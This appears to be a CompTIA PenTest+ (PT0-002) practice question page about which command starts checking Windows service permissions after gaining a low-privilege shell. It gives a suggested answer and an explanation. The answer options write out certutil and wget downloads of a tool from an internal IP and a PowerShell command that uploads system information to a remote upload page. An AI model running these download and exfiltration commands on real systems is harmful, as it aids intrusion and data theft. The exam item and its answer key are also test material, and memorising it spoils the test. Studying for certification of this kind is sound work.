ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 24 - PT0-002 discussion

Report
Export

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions.

Which of the following commands would help the tester START this process?

A.
certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
Answers
A.
certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
B.
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
Answers
B.
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
C.
schtasks /query /fo LIST /v | find /I "Next Run Time:"
Answers
C.
schtasks /query /fo LIST /v | find /I "Next Run Time:"
D.
wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
Answers
D.
wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
Suggested answer: A

Explanation:

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-downloadmalware-while-bypassing-av/

--- https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

The certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the -urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

asked 02/10/2024
Kodjo Boessi
33 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first